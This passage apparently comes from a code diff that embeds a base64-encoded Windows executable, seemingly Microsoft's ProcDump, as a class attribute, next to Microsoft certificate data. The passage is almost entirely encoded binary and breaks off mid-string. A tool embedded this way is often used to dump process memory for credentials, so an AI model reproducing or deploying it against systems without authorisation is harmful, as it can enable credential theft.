pbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjENMAsGA1UECxMETU9QUjEnMCUGA1UECxMebkNpcGhlciBOVFMgRVNOOjU3RjYtQzFFMC01NTRDMSswKQYDVQQDEyJNaWNyb3NvZnQgVGltZSBTb3VyY2UgTWFzdGVyIENsb2NrMA0GCSqGSIb3DQEBBQUAAgUA3KitpTAiGA8yMDE3MDQyNDE3MDAyMVoYDzIwMTcwNDI1MTcwMDIxWjB0MDoGCisGAQQBhFkKBAExLDAqMAoCBQDcqK2lAgEAMAcCAQACAi7kMAcCAQACAhipMAoCBQDcqf8lAgEAMDYGCisGAQQBhFkKBAIxKDAmMAwGCisGAQQBhFkKAwGgCjAIAgEAAgMW42ChCjAIAgEAAgMHoSAwDQYJKoZIhvcNAQEFBQADggEBAJFTbhz6X21pHmgMzFYjfQCg2hJYjteuNse47Ro+/fnZR1P9H2wC3o63U5l4Doh/AwGnAQFS+1BfwkCgEnaLQww2rJqPqLtoRSjkdmifn/v9cQQsd4dRGt5XN5/wPunyHq8W5oSW4NB6Bjf2wrywQUMckfwqiYCb7j0QYoidUYtJv8YN9D0Y+g03it3soBvwPIjoPrICO/xhhpsGwyQs0GVj4OlkuHlN20eDdzsbJutnGSiVVVUJfegHFteR0WfL+e5s1Ew0WfO9SGZFMv1yGo84yjNlN2ERJt9Enq/YRzI3RU28bFDakRVmjnL9HZKkz4b/Uh8RZvpewiDjV5DWYVExggL1MIIC8QIBATCBkzB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMAITMwAAAJ9n8rWoIwZbewAAAAAAnzANBglghkgBZQMEAgEFAKCCATIwGgYJKoZIhvcNAQkDMQ0GCyqGSIb3DQEJEAEEMC8GCSqGSIb3DQEJBDEiBCBuclLD+J0CRMXuBZvvvv3NW7ZHVsbaZQa6Vz0a91dPsjCB4gYLKoZIhvcNAQkQAgwxgdIwgc8wgcwwgbEEFGzTJwjy+dmoy/kZ3pJLSq3bGaPBMIGYMIGApH4wfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIwMTACEzMAAACfZ/K1qCMGW3sAAAAAAJ8wFgQU/Z6tFOzVraI8R+XPIDmyerUWg64wDQYJKoZIhvcNAQELBQAEggEAcl/1CbJgcfAcyHCmizFYGXJNckUNqu705GOdrzzMb9vgPZmwdSUBj07Co5GxeHPc7rjcgEP4Ggt/QmBPldlDlBjhBOXv70dZuaSGsVzamR/z/yW9FW9xY81xbjZa6bslS68M+7IWiErLVH1DlxQfaSmphaT+mL0rz1HXNNOgKCEA5cDgDlMSdFFq16V+hcgGpwF7aAJ/cwAlMez9f7iwXqGixn1hqF5/enE+NsJf0WCQfyNkOmORtwYP2TP1sCGblvVeZfJDt139ZnAzPY0Ju8XjK/yf2LkBxKabfrHTBQMXYz6S343Nx/CKuSy4EvrNnwpdJdFuDwEvolzRW6T+Ug==") + self.procdump_embeded = base64.b64decode( + "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ytH5jQRNAgAAAFCNhdDv//9QagFqAGiAZ0MAV/8VIKBCAIvwhfZ0MLjEZ0MAhNu5qGdDAA9EyFFoOGtDAOg+EAEAg8QIi8ZfXluLTfwzzejNAgEAi+Vdw2jga0MA6B4QAQC5xGdDAITbuKhnQwAPRMFQaPhrQwDoBBABAI1F8FBoeGxDAOj2DwEAjYXQ7///UGiwbEMA6OUPAQCDxByLTfwzwF9eM81b6HQCAQCL5V3DzMzMVYvsuCQQAADocxkCAKEIVEQAM8WJRfyLRQgPV8BTVleJhejv//+L2jPAZg/WRfJo/g8AAFBmiUXwZomF8O///42F8u///1Do1AMCAIPEDMaF7+///wAz/8eF5O///wAAAADHheDv//8AAAAAhdsPhPECAACAvejv//8AjYXc7///ULkAAgAAib3c7///uAABAAAPRcGDyANQV2iUZ0MAU/8VKKBCAL6oZ0MAucRnQwCFwHQfgL3o7///AIvGD0TBUGjwbEMA6AEPAQCDxAjprQAAAI2F4O///4m95O///4s9MKBCAFCNRfDGhe/v//8BUI2F5O///8eF4O///wUAAABQagBodGdDAP+13O/////XhcB1CYO95O///wF0BjPAZolF8I2F4O///8eF5O///wAAAABQjYXw7///x4Xg7///AAgAAFCNheTv//9QagBogGdDAP+13O/////Xi/iF/3UJg73k7///AXQJM8BmiYXw7////7Xc7////xUkoEIAjU3wjVECZosBg8ECZoXAdfUrytH5dFKNBE0CAAAAUI1F8FBqAWoAaHRnQwBT/xUgoEIAi/iF/3Q8gL3o7///ALvEZ0MAD0TzVmiYakMA6PkNAQCDxAiLx19eW4tN/DPN6I